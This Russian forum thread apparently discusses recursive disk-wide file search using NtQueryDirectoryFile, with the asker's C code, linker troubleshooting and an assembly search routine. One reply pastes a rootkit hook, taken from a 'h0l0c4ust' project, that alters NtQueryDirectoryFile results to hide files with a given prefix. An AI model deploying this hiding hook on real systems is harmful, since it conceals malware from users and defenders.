Пытаюсь переписать одну из функций по поиску файлов в текущей директории на поиск по всему диску... Так вот, DDK этот код компилит без ошибок, однако при запуске программа падает ((( А VS 2003 .NET отказывается линковать говорит: find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2019: unresolved external symbol @__security_check_cookie@4 referenced in function __expandlocale find fatal error LNK1120: 1 unresolved externals Библиотеки подключил или вообще не поэтому поводу ругается. Помогите разобраться, пожалуйста... Искал через поиск NtQueryDirectoryFile одни перехваты, цель написать прогу которая искала на всём диске. Код (Text): #include <windows.h> #include <stdio.h> //#pragma comment (lib, "ntdll.lib") typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; #else PWSTR Buffer; #endif } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; typedef USHORT RTL_STRING_LENGTH_TYPE; typedef struct _STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength), length_is(Length) ] #endif PCHAR Buffer; } STRING; #define FILE_SUPERSEDE 0x00000000 #define FILE_OPEN 0x00000001 #define FILE_CREATE 0x00000002 #define FILE_OPEN_IF 0x00000003 #define FILE_OVERWRITE 0x00000004 #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 #define FILE_DIRECTORY_FILE 0x00000001 #define FILE_WRITE_THROUGH 0x00000002 #define FILE_SEQUENTIAL_ONLY 0x00000004 #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 #define OBJ_CASE_INSENSITIVE 0x00000040L #define NTSYSAPI DECLSPEC_IMPORT #define NTAPI __stdcall #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_FORCE_ACCESS_CHECK 0x00000400L #define OBJ_VALID_ATTRIBUTES 0x000007F2L typedef DWORD ULONG_PTR; typedef LONG NTSTATUS; typedef NTSTATUS *PNTSTATUS; typedef STRING *PSTRING; typedef STRING ANSI_STRING; typedef PSTRING PANSI_STRING; typedef STRING OEM_STRING; typedef PSTRING POEM_STRING; typedef CONST STRING* PCOEM_STRING; typedef enum _EVENT_TYPE {NotificationEvent, SynchronizationEvent} EVENT_TYPE; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _OBJDIR_INFORMATION { UNICODE_STRING ObjectName; UNICODE_STRING ObjectTypeName; BYTE Data[1]; } OBJDIR_INFORMATION; #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } typedef VOID (NTAPI *PIO_APC_ROUTINE) (IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved); typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, FileBothDirectoryInformation, FileBasicInformation, FileStandardInformation, FileInternalInformation, FileEaInformation, FileAccessInformation, FileNameInformation, FileRenameInformation, FileLinkInformation, FileNamesInformation, FileDispositionInformation, FilePositionInformation, FileFullEaInformation, FileModeInformation, FileAlignmentInformation, FileAllInformation, FileAllocationInformation, FileEndOfFileInformation, FileAlternateNameInformation, FileStreamInformation, FilePipeInformation, FilePipeLocalInformation, FilePipeRemoteInformation, FileMailslotQueryInformation, FileMailslotSetInformation, FileCompressionInformation, FileObjectIdInformation, FileCompletionInformation, FileMoveClusterInformation, FileQuotaInformation, FileReparsePointInformation, FileNetworkOpenInformation, FileAttributeTagInformation, FileTrackingInformation, FileIdBothDirectoryInformation, FileIdFullDirectoryInformation, FileValidDataLengthInformation, FileShortNameInformation, FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef DWORD (WINAPI* RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString); RTLINITUNICODESTRING RtlInitUnicodeString; typedef DWORD (WINAPI* NTCREATEFILE)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize OPTIONAL, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer OPTIONAL, ULONG EaLength); NTCREATEFILE NtCreateFile; typedef DWORD (WINAPI* NTCREATEEVENT)(PHANDLE EventHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, EVENT_TYPE EventType, BOOLEAN InitialState); NTCREATEEVENT NtCreateEvent; typedef DWORD (WINAPI* NTQUERYDIRECTORYFILE)(HANDLE FileHandle, HANDLE Event OPTIONAL, PIO_APC_ROUTINE ApcRoutine OPTIONAL, PVOID ApcContext OPTIONAL, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass, BOOLEAN ReturnSingleEntry, PUNICODE_STRING FileName OPTIONAL, BOOLEAN RestartScan); NTQUERYDIRECTORYFILE NtQueryDirectoryFile; typedef DWORD (WINAPI* NTWAITFORSINGLEOBJECT)(HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout OPTIONAL); NTWAITFORSINGLEOBJECT NtWaitForSingleObject; typedef DWORD (WINAPI* RTLUNICODESTRINGTOANSISTRING)(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); RTLUNICODESTRINGTOANSISTRING RtlUnicodeStringToAnsiString; typedef DWORD (WINAPI* NTCLOSE)(HANDLE hObject); NTCLOSE NtClose; int main(ULONG argc, LPSTR *argv) { HMODULE hNtdll; OBJECT_ATTRIBUTES RootDirectoryAttributes; UNICODE_STRING RootDirectoryName; NTSTATUS Status; HANDLE RootDirectoryHandle; IO_STATUS_BLOCK Iosb; HANDLE Event; PUCHAR Buffer[65536]; PFILE_BOTH_DIR_INFORMATION DirInformation; ANSI_STRING as; hNtdll = LoadLibrary ("ntdll.dll"); RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress (hNtdll, "RtlInitUnicodeString"); NtCreateFile = (NTCREATEFILE) GetProcAddress (hNtdll, "NtCreateFile"); NtCreateEvent = (NTCREATEEVENT) GetProcAddress (hNtdll, "NtCreateEvent"); NtQueryDirectoryFile = (NTQUERYDIRECTORYFILE) GetProcAddress (hNtdll, "NtQueryDirectoryFile"); NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT) GetProcAddress (hNtdll, "NtWaitForSingleObject"); RtlUnicodeStringToAnsiString = (RTLUNICODESTRINGTOANSISTRING) GetProcAddress (hNtdll, "RtlUnicodeStringToAnsiString"); NtClose = (NTCLOSE) GetProcAddress (hNtdll, "NtClose"); RtlInitUnicodeString (&RootDirectoryName, L"\\DosDevices\\C:\\"); InitializeObjectAttributes (&RootDirectoryAttributes, &RootDirectoryName, OBJ_CASE_INSENSITIVE, 0, 0); Status = NtCreateFile (&RootDirectoryHandle, GENERIC_READ, &RootDirectoryAttributes, &Iosb, 0, FILE_ATTRIBUTE_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_DIRECTORY_FILE, 0, 0); if (!NT_SUCCESS(Status)) { printf("Unable to open %s, error = 0x%x\n", &RootDirectoryName, Status); return Status; } Status = NtCreateEvent (&Event, GENERIC_ALL, 0, NotificationEvent, FALSE); if (!NT_SUCCESS(Status)) { printf("Event creation failed with error 0x%x\n", Status); return Status; } Status = NtQueryDirectoryFile (RootDirectoryHandle, Event, 0, 0, &Iosb, Buffer, sizeof(Buffer), FileBothDirectoryInformation, FALSE, NULL, FALSE); if (Status == STATUS_PENDING) { Status = NtWaitForSingleObject (Event, TRUE, 0); } if (!NT_SUCCESS(Status)) { printf("Unable to query directory contents, error 0x%x\n", Status); return Status; } DirInformation = (PFILE_BOTH_DIR_INFORMATION) Buffer; while (1) { UNICODE_STRING EntryName; EntryName.MaximumLength = EntryName.Length = (USHORT) DirInformation->FileNameLength; EntryName.Buffer = &DirInformation->FileName[0]; RtlUnicodeStringToAnsiString(&as,&EntryName,TRUE); printf("%s : %u\n", as.Buffer,DirInformation->AllocationSize.QuadPart); if (0 == DirInformation->NextEntryOffset) { break; } else { DirInformation = (PFILE_BOTH_DIR_INFORMATION) (((PUCHAR)DirInformation) + DirInformation->NextEntryOffset); } printf("\n"); } NtClose(RootDirectoryHandle); return 0; } OS у меня XP SP2 x64. Кроме того если кто знает как (можно и в теории) организовать поиск по всему диску?
добавить libcmt.lib или отключить проверку стека ZwQueryDirectoryFile описан в ддк, что неясно? можно например перебрать все символьные ссылки вида "\??\X:" где X - буква английского алфавита
я имел ввиду примеры работы с NtQueryDirectoryFile в плане рекурсии... наподобе с FindFirstFile и FindNextFile. это для того чтобы шариться по всем дискам, а мне бы для начала хотя бы по одному пошприться, короче это прога выдаёт список файлов конкретной папки, надо бы заюзать по всему диску. за совет спасибо, попробую...
glukker Вы бы вначале научились рекурсивно юзать FindFirstFile и FindNextFile. А потом уже шли на уровень ниже.
Что не очень помогло, то есть совсем не помогло, ошибок ещё больше стало (((( find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2001: unresolved external symbol @__security_check_cookie@4 find error LNK2005: __chkstk already defined in ntdll.lib(ntdll.dll) find error LNK2019: unresolved external symbol @__security_check_cookie@4 referenced in function __output find fatal error LNK1120: 1 unresolved externals
TermoSINteZ вот интересно Вы сами то умеете её юзать или так просто напичали... Лучше бы по теме помогли... Код (Text): #include "stdafx.h" #include "windows.h" void FindDir(char* path,char* mask) { WIN32_FIND_DATA wfd; HANDLE hfound; char newpath[MAX_PATH]; char fpath[MAX_PATH]; char pathifile[MAX_PATH]; char delpath[MAX_PATH]; strcpy(fpath,path); strcat(fpath,"\\"); strcpy(delpath,fpath); strcat(fpath,mask); if((hfound=FindFirstFile(fpath,&wfd))!=INVALID_HANDLE_VALUE) { if(!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(wfd.cFileName,"..")&&strcmp(wfd.cFileName,".")) { printf (wfd.cFileName); printf ("\n"); } while(FindNextFile(hfound,&wfd)) { if(!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(wfd.cFileName,"..")&&strcmp(wfd.cFileName,".")) { strcpy(pathifile, delpath); strcat(pathifile, wfd.cFileName); printf (wfd.cFileName); printf ("\n"); } } } FindClose(hfound); strcpy(fpath,path); strcat(fpath,"\\*.*"); if((hfound=FindFirstFile(fpath,&wfd))=INVALID_HANDLE_VALUE) { if((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(wfd.cFileName,"..")&&strcmp(wfd.cFileName,".")) { strcpy(newpath,path); strcat(newpath,"\\"); strcat(newpath,wfd.cFileName); FindDir(newpath,mask); } while(FindNextFile(hfound,&wfd)) { if((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&strcmp(wfd.cFileName,"..")&strcmp(wfd.cFileName,".")) { strcpy(newpath,path); strcat(newpath,"\\"); strcat(newpath,wfd.cFileName); FindDir(newpath,mask); } } } } /////////////////////////////////////////////////////// void main() { FindDir("c:\\","*.*"); Sleep(5000); }
glukker Вы сомневаетесь в моей компетенции? Доказывать ничего не буду. По теме, если умеете использовать FFF, FNF , то и с ZwQueryDirectoryFile не должно быть никаких проблем. Она возвращает информацию о содержимом каталога, делай рекурсивную процедурку, вызывающую ZwQueryDirectoryFile . Обрати внимание на поле FILE_INFORMATION_CLASS (нужен FileFullDirectoryInformation). Есть одноименная структура. В ней все, что тебе нужно, а именно: поля NextEntryOffset, FileAttributes.
Я и не сомневался, просто зачем так резко и однозначно... Извиняюсь... Как насчёт STATUS_NO_MORE_FILES и STATUS_NO_SUCH_FILE ?
То есть файлов там нет. Если судить по описанию . Проверьте правильность задания класса, как вы вызываете ZwQueryDirectoryFile. Правильно ли получен дескриптор каталога, где ведется поиск. Привелегия FILE_LIST_DIRECTORY у него имется?
ОК, врубил... А как насчёт того, что DDK компилит, но прога падает при запуске, а VS отказывается линковать?
glukker Прога падает? Хз,. отладчик поможет. У меня таких проблем небыло. VS линкует отлично все, в разделе CodeGeneration выруби нафиг все буфер\стек секурити ческ, ртс тоже выруби. Так включи в разделе Linker - Ignore All Default library. подруби туда kernel32.lib ntdll.lib Включи пути к ддк. Установи вручную точку входа. Совственно у меня линкует
glukker Нет слов один мат. Сходи в поиск по васму по словам ZwQueryDirectoryFile, или отладчик поюзай, и посмотри что там и где падает.
да нахрен ходить одни перехваты... да не говори, всё что знал уже излил ))) может всё из-за XP x64 недавно поставил... раньше таких проблем не наблюдалось!!!!
glukker посмотри здесь http://overclok.free.fr/Codes/h0l0c4ust/h0l0c4ustIDll.htm кусок кода, точно не знаю то или не то, посмотри... Код (Text): NTSTATUS __stdcall myNtQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG FileInformationLength,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan) { char *hideMe = "_h0l0c4ust_" , nomDossierC[MAX_PATH]; NTSTATUS retour = pNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan); if( (retour == STATUS_SUCCESS) && ((FileInformationClass == FileDirectoryInformation) || (FileInformationClass == FileFullDirectoryInformation) || (FileInformationClass == FileBothDirectoryInformation) || (FileInformationClass == FileNameInformation)) ) { //OutputDebugString("Succès de l'appel à la fonction."); ULONG nombreLettre , nextOffset = 1 , lastNextOffset = 0; PVOID nomDossier = NULL , pointeurStructActuel = FileInformation , pointeurLastStruct = NULL; PULONG pointeurAvantNextOffset = NULL ; do { switch(FileInformationClass) { case FileDirectoryInformation : if(pointeurLastStruct != NULL) // si ce n'est pas la première struct ,on recup un pointeur sur le NextEntryOffset. { pointeurAvantNextOffset = &(((PFILE_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset); } nombreLettre = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength; //On recupère les infos dont on a besoin ,à savoir :,nom du dossier ,NextOffset nomDossier = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName; //nombres de lettres , nextOffset = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset; //NextOffset . break; case FileFullDirectoryInformation : if(pointeurLastStruct != NULL) { pointeurAvantNextOffset = &(((PFILE_FULL_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset); } nombreLettre = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength; nomDossier = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName; nextOffset = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset; break; case FileBothDirectoryInformation : if(pointeurLastStruct != NULL) { pointeurAvantNextOffset = &(((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset); } nombreLettre = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength; nomDossier = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName; nextOffset = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset; break; case FileNameInformation : if(pointeurLastStruct != NULL) { pointeurAvantNextOffset = &(((PFILE_NAMES_INFORMATION)pointeurLastStruct)->NextEntryOffset); } nombreLettre = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileNameLength; nomDossier = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileName; nextOffset = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->NextEntryOffset; break; } memset(nomDossierC,'\0',sizeof(nomDossierC)); WideCharToMultiByte(CP_ACP, 0, nomDossier, nombreLettre/2, nomDossierC, sizeof(nomDossierC)-1, NULL, NULL); //OutputDebugString(nomDossierC); if(DossierAvecPrefixe(hideMe,strlen(hideMe),nomDossierC)) { //OutputDebugString("HIDE DU FICHIER"); memset(nomDossierC,'\0',sizeof(nomDossierC)); if( nextOffset == 0) //Si c'est la dernière struct ,on modifie le NextOffset à 0 ,on gruge alors la dernière struct :). { *pointeurAvantNextOffset = 0; break; } else if(pointeurLastStruct == NULL ) //Si c'est la première struct ,on décalle directement toutes les structs. { CopyMemory(pointeurStructActuel,(PULONG)((ULONG)pointeurStructActuel + nextOffset),FileInformationLength); } else //Sinon ,cas plutot général : on modifie le NextOffset de la struct précédente par rapport à l'actuel ,pour la faire pointer vers la prochaine encore une fois par rapport à l'actuel. { lastNextOffset = lastNextOffset + nextOffset; *pointeurAvantNextOffset = lastNextOffset; pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset); } } else // si rien nous interesse on sauvegarde les pointeurs et co ,et on passe à la suivante. { lastNextOffset = nextOffset; pointeurLastStruct = pointeurStructActuel; pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset); } memset(nomDossierC,'\0',sizeof(nomDossierC)); }while(nextOffset != 0); } return retour; }
Clerk спасибо тебе все бы были такие дружелюбные... Но код поиска файлов на WinAPI, я сам выложил в сообщении #6, он рабочий использует рекурсивный вызов функции... Но мне нужна функция поиска именно на NtQueryDirectoryFile, вот если бы ты смог помоч с ней (((((((((((( sxd спасибо но мне её перехватывать совсем не нужно... ей нужно просто воспользоваться для поиска...
Написано было это года четыре назад, будет время напишу на нативе. Код (Text): StartSearch proto :dword,:dword ;ptr lpPath,ptr dwWfd ;Начинает перечисление файлов ;1-й параметр: указатель на путь поиска например C:\Windows или D:\ ;2-й параметр: указатель на двойное слово принимающее адрес структуры SRC32 через которую передаётся информация о найденном файле ;Возвращается в случае успеха хэндл поиска,иначе ноль Search proto :dword,:dword ;hSrc,ptr SRC32FILES ;вызывается циклически для перечисления файлов. ;1-й параметр: хэндл поиска,возвращённый StartSearch ;2-й параметр: указатель на структуру SRC32FILES,принимающую общее число найденых файлов и папок ;Возвращается в случае успеха указатель на двойное слово принимающее адрес структуры SRC32 через которую передаётся информация о найденном файле, ;если ноль то поиск закончен StopSearch proto :dword ;hSrc ;Принудительно завершает перечисление. ;1-й параметр: хэндл поиска SRC32FILES struct nFiles dd ? ;Число файлов,увеличивается на 1 с каждым найденным файлом nDir dd ? ;Число папок,увеличивается на 1 с каждой найденной папкой SRC32FILES ends SRC32 struct wfd WIN32_FIND_DATA <> ;Структура принимающая информацию о найденном файле lBuf db MAX_PATH dup (0) ;буфер строки с путём + '\*' SRC32 ends SRC32FILES struct nFile dd ? nDir dd ? SRC32FILES ends FIND32 struct SignL dd ? ;Сигнатура 'xSea' SignH dd ? ;Сигнатура 'rch_' hMem dd ? ;хэндл памяти nFile dd ? ;число найденных файлов nDir dd ? ;число найденных папок pHandle dd ? ;номер текущего элемента таблицы дескрипторов *4 Handles dd MAX_PATH dup (0) ;таблица дескрипторов FindFirstFile wfd WIN32_FIND_DATA <> ;Структура принимающая информацию о найденном файле lBuf db MAX_PATH dup (0) ;буфер строки с путём + '\*' FIND32 ends .code ;------------------------------------------------------------------------------- StartSearch proc uses edi esi lpDir:dword,srcWfd:dword Local Vari:dword,srcfiles:SRC32FILES ;Процедура инициализации параметров поиска ;Выделяем память invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,sizeof FIND32 ;выделяем блок памяти mov Vari,eax ;hMem invoke GlobalLock,eax ;Определяем адрес его mov edi,eax ;указатель на FIND32 assume edi:ptr FIND32 mov eax,Vari mov [edi].hMem,eax ;хэндл памяти mov [edi].SignL,'xSea' ;младший DWORD сигнатуры структуры mov [edi].SignH,'rch_' ;старший DWORD сигнатуры структуры xor eax,eax mov [edi].pHandle,eax ;pHandle указывает на первый элемент Handles mov [edi].nFile,eax mov [edi].nDir,eax lea esi,[edi].lBuf ;esi-адрес строки в буфере invoke lstrcpy,esi,lpDir ;копируем путь в буфер invoke GetFileAttributes,esi ;<ERROR_PATH_NOT_FOUND> cmp eax,-1 jz initerr_ invoke lstrlen,esi ;определяем длину пути add eax,esi ;...0 cmp byte ptr [eax-1],'\' .if Zero? dec eax .endif mov dword ptr [eax],'*\' ;добавляем его lea eax,[edi].wfd invoke FindFirstFile,esi,eax ;начинаем поиск mov Vari,eax ;хэндл поиска cmp eax,INVALID_HANDLE_VALUE jz initerr_ lea ecx,[edi].Handles ;адрес текущего элемента таблицы хэндлов mov [ecx],eax ;сохраняем хэндл поиска add [edi].pHandle,4 ;указатель на следующий элемент таблица cmp byte ptr [edi].wfd.cFileName,'.' .if !Zero? mov eax,[edi].wfd.dwFileAttributes test eax,16 .if Zero? inc [edi].nFile .else inc [edi].nDir .endif .else invoke Search,edi,addr srcfiles test eax,eax jz pexit_ .endif findok_: mov edx,srcWfd ;указатель на адрес wfd lea eax,[edi].wfd ;адрес wfd mov [edx],eax ;сохраняем pWfd mov eax,edi ;адрес структуры возвращаем в качестве хэндла поиска jmp pexit_ initerr_: mov edi,[edi].hMem invoke GlobalUnlock,edi invoke GlobalFree,edi xor eax,eax pexit_: ret StartSearch endp ;------------------------------------------------------------------------------- FindSlash proc lea eax,[edi].lBuf invoke lstrlen,eax sub eax,3 lea edx,[edi].lBuf add eax,edx slashlp: dec eax cmp byte ptr [eax],'\' jz slashok cmp byte ptr [eax],'\' jz slashok cmp eax,edx ja slashlp xor eax,eax slashok: test eax,eax .if !Zero? mov dword ptr [eax],'*\' ;...\* .endif ret FindSlash endp ;------------------------------------------------------------------------------- Search proc uses edi esi pMem:dword,pInfo:dword Local Vari:dword mov edi,pMem assume edi:ptr FIND32 mov eax,[edi].SignL ;проверяем сигнатуру cmp eax,'xSea' jnz handleerr_ mov eax,[edi].SignH cmp eax,'rch_' jnz handleerr_ lea esi,[edi].lBuf ;адрес строки в буфере next1_: mov eax,[edi].pHandle test eax,eax jz closesrc_ mov al,byte ptr [edi].wfd.cFileName cmp al,'.' ;если вызывается из StartSearch jz findfile_ mov eax,[edi].wfd.dwFileAttributes test eax,16 ;если не ноль то файл - каталог jz findfile_ invoke lstrlen,esi add eax,esi ;Path\*0 dec eax ;Path\* lea edx,[edi].wfd.cFileName invoke lstrcpy,eax,edx ;дописываем имя каталога,Path\FileName0 invoke lstrlen,esi ;длина строки в буфере add eax,esi ;...0 mov dword ptr [eax],'*\' ;Path\FileName0\* lea eax,[edi].wfd invoke FindFirstFile,esi,eax cmp eax,INVALID_HANDLE_VALUE jz finddirerr_ mov edx,[edi].pHandle lea ecx,[edi].Handles mov [edx+ecx],eax add [edi].pHandle,4 jmp nextfile_ finddirerr_: invoke FindSlash findfile_: lea edx,[edi].wfd ;адрес Wfd lea ecx,[edi].Handles - 4 mov eax,[edi].pHandle mov eax,[eax+ecx] invoke FindNextFile,eax,edx test eax,eax jnz nextfile_ invoke GetLastError cmp eax,ERROR_NO_MORE_FILES ;в директории больше файлов не найдено jnz findfile_ mov edx,[edi].pHandle ;указатель на хэндл поиска lea ecx,[edi].Handles - 4 mov eax,[edx+ecx] invoke FindClose,eax sub [edi].pHandle,4 jz closesrc_ invoke FindSlash ;в каталоге больше нет файлов jmp findfile_ nextfile_: mov al,byte ptr [edi].wfd.cFileName cmp al,'.' jz findfile_ mov eax,[edi].wfd.dwFileAttributes test eax,16 .if Zero? inc [edi].nFile .else inc [edi].nDir .endif mov edx,pInfo mov eax,[edi].nFile mov dword ptr [edx],eax mov eax,[edi].nDir mov [edx+4],eax mov eax,edi ;адрес структуры возвращаем в качестве хэндла поиска jmp pexit_ handleerr_: invoke SetLastError,ERROR_INVALID_HANDLE mov eax,INVALID_HANDLE_VALUE jmp pexit_ closesrc_: mov edi,[edi].hMem invoke GlobalUnlock,edi ;освобождаем память invoke GlobalFree,edi invoke SetLastError,ERROR_NO_MORE_FILES xor eax,eax pexit_: ret Search endp ;------------------------------------------------------------------------------- StopSearch proc uses edi esi pMem:dword mov edi,pMem assume edi:ptr FIND32 mov eax,[edi].SignL ;проверяем сигнатуру cmp eax,'xSea' jnz memerr_ mov eax,[edi].SignH cmp eax,'rch_' jnz memerr_ mov esi,[edi].pHandle test esi,esi jz freemem_ push edi lea edi,[edi].Handles - 4 stoplp_: mov eax,dword ptr [edi+esi] invoke FindClose,eax sub esi,4 jnc stoplp_ pop edi mov edi,[edi].hMem invoke GlobalUnlock,edi ;освобождаем память invoke GlobalFree,edi mov eax,TRUE jmp pexit_ freemem_: invoke SetLastError,ERROR_SUCCESS mov eax,TRUE jmp pexit_ memerr_: invoke SetLastError,ERROR_INVALID_HANDLE mov eax,INVALID_HANDLE_VALUE pexit_: ret StopSearch endp